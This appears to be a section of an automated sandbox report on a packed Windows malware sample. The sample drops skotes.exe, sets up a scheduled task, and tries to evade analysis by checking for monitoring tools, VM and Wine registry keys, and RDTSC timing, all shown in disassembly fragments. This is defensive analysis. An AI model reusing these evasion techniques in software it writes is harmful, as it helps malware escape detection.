Source: C:\Users\user\AppData\Local\Temp\0Y9DS4ACOZHRKTJZLIK3.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0Y9DS4ACOZHRKTJZLIK3.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0Y9DS4ACOZHRKTJZLIK3.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0Y9DS4ACOZHRKTJZLIK3.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0Y9DS4ACOZHRKTJZLIK3.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0Y9DS4ACOZHRKTJZLIK3.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0Y9DS4ACOZHRKTJZLIK3.exe	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0Y9DS4ACOZHRKTJZLIK3.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0Y9DS4ACOZHRKTJZLIK3.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0Y9DS4ACOZHRKTJZLIK3.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0Y9DS4ACOZHRKTJZLIK3.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0Y9DS4ACOZHRKTJZLIK3.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0Y9DS4ACOZHRKTJZLIK3.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0Y9DS4ACOZHRKTJZLIK3.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0Y9DS4ACOZHRKTJZLIK3.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0Y9DS4ACOZHRKTJZLIK3.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0Y9DS4ACOZHRKTJZLIK3.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0Y9DS4ACOZHRKTJZLIK3.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: netutils.dll	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0358b920-0ac7-461f-98f4-58e32cd89148}\InProcServer32

Jump to behavior

Source: oTZfvSwHTq.exe

Static file information: File size 1867264 > 1048576

Source: oTZfvSwHTq.exe

Static PE information: Raw size of dtrvbrez is bigger than: 0x100000 < 0x19de00

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\AppData\Local\Temp\9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe	Unpacked PE file: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack :EW;.rsrc:W;.idata :W;kosvbopd:EW;gvemugdt:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;kosvbopd:EW;gvemugdt:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\0Y9DS4ACOZHRKTJZLIK3.exe	Unpacked PE file: 5.2.0Y9DS4ACOZHRKTJZLIK3.exe.4c0000.0.unpack :EW;.rsrc:W;.idata :W;xcljfhyk:EW;mqunepnm:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;xcljfhyk:EW;mqunepnm:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 8.2.skotes.exe.940000.0.unpack :EW;.rsrc:W;.idata :W;xcljfhyk:EW;mqunepnm:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;xcljfhyk:EW;mqunepnm:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 9.2.skotes.exe.940000.0.unpack :EW;.rsrc:W;.idata :W;xcljfhyk:EW;mqunepnm:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;xcljfhyk:EW;mqunepnm:EW;.taggant:EW;

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: 9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.0.dr	Static PE information: real checksum: 0x4f6a46 should be: 0x4fb1d3
Source: skotes.exe.5.dr	Static PE information: real checksum: 0x328ba0 should be: 0x3265d5
Source: 0Y9DS4ACOZHRKTJZLIK3.exe.0.dr	Static PE information: real checksum: 0x328ba0 should be: 0x3265d5
Source: oTZfvSwHTq.exe	Static PE information: real checksum: 0x1d3872 should be: 0x1c9e92

Source: oTZfvSwHTq.exe	Static PE information: section name:
Source: oTZfvSwHTq.exe	Static PE information: section name: .idata
Source: oTZfvSwHTq.exe	Static PE information: section name:
Source: oTZfvSwHTq.exe	Static PE information: section name: dtrvbrez
Source: oTZfvSwHTq.exe	Static PE information: section name: mncxnxsc
Source: oTZfvSwHTq.exe	Static PE information: section name: .taggant
Source: 9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.0.dr	Static PE information: section name:
Source: 9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.0.dr	Static PE information: section name: .idata
Source: 9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.0.dr	Static PE information: section name: kosvbopd
Source: 9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.0.dr	Static PE information: section name: gvemugdt
Source: 9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.0.dr	Static PE information: section name: .taggant
Source: 0Y9DS4ACOZHRKTJZLIK3.exe.0.dr	Static PE information: section name:
Source: 0Y9DS4ACOZHRKTJZLIK3.exe.0.dr	Static PE information: section name: .idata
Source: 0Y9DS4ACOZHRKTJZLIK3.exe.0.dr	Static PE information: section name: xcljfhyk
Source: 0Y9DS4ACOZHRKTJZLIK3.exe.0.dr	Static PE information: section name: mqunepnm
Source: 0Y9DS4ACOZHRKTJZLIK3.exe.0.dr	Static PE information: section name: .taggant
Source: skotes.exe.5.dr	Static PE information: section name:
Source: skotes.exe.5.dr	Static PE information: section name: .idata
Source: skotes.exe.5.dr	Static PE information: section name: xcljfhyk
Source: skotes.exe.5.dr	Static PE information: section name: mqunepnm
Source: skotes.exe.5.dr	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	Code function: 0_3_01350D93 pushad ; ret	0_3_01350D95
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	Code function: 0_3_01350D93 pushad ; ret	0_3_01350D95
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	Code function: 0_3_012F3AD1 push ds; retn 0030h	0_3_012F3AD2
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	Code function: 0_3_012F3AD1 push ds; retn 0030h	0_3_012F3AD2
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	Code function: 0_3_012F3AD1 push ds; retn 0030h	0_3_012F3AD2
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	Code function: 0_3_012F3AD1 push ds; retn 0030h	0_3_012F3AD2
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	Code function: 0_3_01310D30 pushfd ; iretd	0_3_01310D35
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	Code function: 0_3_0130E317 push cs; iretd	0_3_0130E318
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	Code function: 0_3_0131318C push 20759E0Bh; ret	0_3_01313195
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	Code function: 0_3_01310574 push esp; retf	0_3_01310579
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	Code function: 0_3_013053F8 pushad ; retf	0_3_013053F9
Source: C:\Users\user\AppData\Local\Temp\0Y9DS4ACOZHRKTJZLIK3.exe	Code function: 5_2_004DD91C push ecx; ret	5_2_004DD92F
Source: C:\Users\user\AppData\Local\Temp\0Y9DS4ACOZHRKTJZLIK3.exe	Code function: 5_2_004D1359 push es; ret	5_2_004D135A
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 8_2_0095D91C push ecx; ret	8_2_0095D92F
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 9_2_0095D91C push ecx; ret	9_2_0095D92F
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 9_2_0095DFC6 push ecx; ret	9_2_0095DFD9

Source: oTZfvSwHTq.exe	Static PE information: section name: entropy: 7.9768843414316155
Source: oTZfvSwHTq.exe	Static PE information: section name: dtrvbrez entropy: 7.954337720516309
Source: 0Y9DS4ACOZHRKTJZLIK3.exe.0.dr	Static PE information: section name: entropy: 7.153402973256315
Source: skotes.exe.5.dr	Static PE information: section name: entropy: 7.153402973256315

Source: C:\Users\user\AppData\Local\Temp\0Y9DS4ACOZHRKTJZLIK3.exe	File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Jump to dropped file
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	File created: C:\Users\user\AppData\Local\Temp\9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe	Jump to dropped file
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	File created: C:\Users\user\AppData\Local\Temp\0Y9DS4ACOZHRKTJZLIK3.exe	Jump to dropped file

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0Y9DS4ACOZHRKTJZLIK3.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0Y9DS4ACOZHRKTJZLIK3.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0Y9DS4ACOZHRKTJZLIK3.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0Y9DS4ACOZHRKTJZLIK3.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0Y9DS4ACOZHRKTJZLIK3.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\0Y9DS4ACOZHRKTJZLIK3.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0Y9DS4ACOZHRKTJZLIK3.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior

Malware Analysis System Evasion

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Source: C:\Users\user\AppData\Local\Temp\0Y9DS4ACOZHRKTJZLIK3.exe	Evasive API call chain: GetPEB, DecisionNodes, ExitProcess			graph_5-10658
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Evasive API call chain: GetPEB, DecisionNodes, ExitProcess			graph_8-9739

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Users\user\Desktop\oTZfvSwHTq.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_VideoController

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\oTZfvSwHTq.exe

System information queried: FirmwareTableInformation

Jump to behavior

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0Y9DS4ACOZHRKTJZLIK3.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0Y9DS4ACOZHRKTJZLIK3.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 58915B second address: 58915F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 58915F second address: 588A0C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 nop 0x00000008 add dword ptr [ebp+122D1C92h], esi 0x0000000e push dword ptr [ebp+122D139Dh] 0x00000014 clc 0x00000015 clc 0x00000016 call dword ptr [ebp+122D1AE5h] 0x0000001c pushad 0x0000001d xor dword ptr [ebp+122D27A1h], edx 0x00000023 xor eax, eax 0x00000025 jmp 00007F74AC8A01ECh 0x0000002a mov edx, dword ptr [esp+28h] 0x0000002e xor dword ptr [ebp+122D27A1h], edi 0x00000034 mov dword ptr [ebp+122D37B4h], eax 0x0000003a pushad 0x0000003b mov ecx, dword ptr [ebp+122D390Ch] 0x00000041 pushad 0x00000042 jo 00007F74AC8A01E6h 0x00000048 mov dword ptr [ebp+122D3513h], eax 0x0000004e popad 0x0000004f popad 0x00000050 mov esi, 0000003Ch 0x00000055 cmc 0x00000056 add esi, dword ptr [esp+24h] 0x0000005a jp 00007F74AC8A01EDh 0x00000060 jnl 00007F74AC8A01F1h 0x00000066 lodsw 0x00000068 je 00007F74AC8A01E7h 0x0000006e cld 0x0000006f add eax, dword ptr [esp+24h] 0x00000073 jc 00007F74AC8A01E7h 0x00000079 stc 0x0000007a jmp 00007F74AC8A01EEh 0x0000007f mov ebx, dword ptr [esp+24h] 0x00000083 mov dword ptr [ebp+122D3513h], edx 0x00000089 push eax 0x0000008a push ebx 0x0000008b pushad 0x0000008c push eax 0x0000008d push edx 0x0000008e rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 700EB4 second address: 700EB8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 7000CD second address: 7000D9 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F74AC8A01EEh 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 7000D9 second address: 7000E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jno 00007F74ACE25116h 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 7006AA second address: 7006C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F74AC8A01EFh 0x0000000c jnl 00007F74AC8A01E8h 0x00000012 push eax 0x00000013 pop eax 0x00000014 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 7006C8 second address: 7006DD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 jmp 00007F74ACE2511Fh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 7006DD second address: 7006E1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 7006E1 second address: 7006F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F74ACE25116h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push ecx 0x0000000f pop ecx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 700831 second address: 700849 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F74AC8A01F2h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 700849 second address: 70084E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 702EB0 second address: 702EBA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jo 00007F74AC8A01E6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 702F07 second address: 702F52 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push esi 0x00000004 pop esi 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b mov dword ptr [ebp+122D27DEh], esi 0x00000011 push 00000000h 0x00000013 push 00000000h 0x00000015 push ebx 0x00000016 call 00007F74ACE25118h 0x0000001b pop ebx 0x0000001c mov dword ptr [esp+04h], ebx 0x00000020 add dword ptr [esp+04h], 0000001Ch 0x00000028 inc ebx 0x00000029 push ebx 0x0000002a ret 0x0000002b pop ebx 0x0000002c ret 0x0000002d or dx, D4E4h 0x00000032 push 75D87DEDh 0x00000037 push eax 0x00000038 push edx 0x00000039 push eax 0x0000003a push edx 0x0000003b jnl 00007F74ACE25116h 0x00000041 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 702F52 second address: 702F56 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 702F56 second address: 702F5C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 702F5C second address: 702FD7 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F74AC8A01F1h 0x00000008 jmp 00007F74AC8A01EBh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f xor dword ptr [esp], 75D87D6Dh 0x00000016 push edi 0x00000017 mov dword ptr [ebp+122D27A8h], eax 0x0000001d pop edx 0x0000001e push 00000003h 0x00000020 jmp 00007F74AC8A01EFh 0x00000025 push 00000000h 0x00000027 stc 0x00000028 push 00000003h 0x0000002a mov cx, D800h 0x0000002e call 00007F74AC8A01E9h 0x00000033 pushad 0x00000034 jo 00007F74AC8A01E8h 0x0000003a push esi 0x0000003b pop esi 0x0000003c jbe 00007F74AC8A01ECh 0x00000042 popad 0x00000043 push eax 0x00000044 jmp 00007F74AC8A01F0h 0x00000049 mov eax, dword ptr [esp+04h] 0x0000004d pushad 0x0000004e push eax 0x0000004f push edx 0x00000050 jnc 00007F74AC8A01E6h 0x00000056 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 702FD7 second address: 703071 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F74ACE25116h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d pushad 0x0000000e popad 0x0000000f popad 0x00000010 popad 0x00000011 mov eax, dword ptr [eax] 0x00000013 push esi 0x00000014 jmp 00007F74ACE2511Fh 0x00000019 pop esi 0x0000001a mov dword ptr [esp+04h], eax 0x0000001e jnp 00007F74ACE2512Ah 0x00000024 pop eax 0x00000025 sub dword ptr [ebp+122D1D31h], edi 0x0000002b or esi, dword ptr [ebp+122D2829h] 0x00000031 lea ebx, dword ptr [ebp+1244DC50h] 0x00000037 jnc 00007F74ACE2511Ch 0x0000003d xchg eax, ebx 0x0000003e pushad 0x0000003f je 00007F74ACE25118h 0x00000045 pushad 0x00000046 popad 0x00000047 jmp 00007F74ACE2511Ch 0x0000004c popad 0x0000004d push eax 0x0000004e pushad 0x0000004f push esi 0x00000050 jo 00007F74ACE25116h 0x00000056 pop esi 0x00000057 push eax 0x00000058 push edx 0x00000059 jmp 00007F74ACE25126h 0x0000005e rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 703071 second address: 703075 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
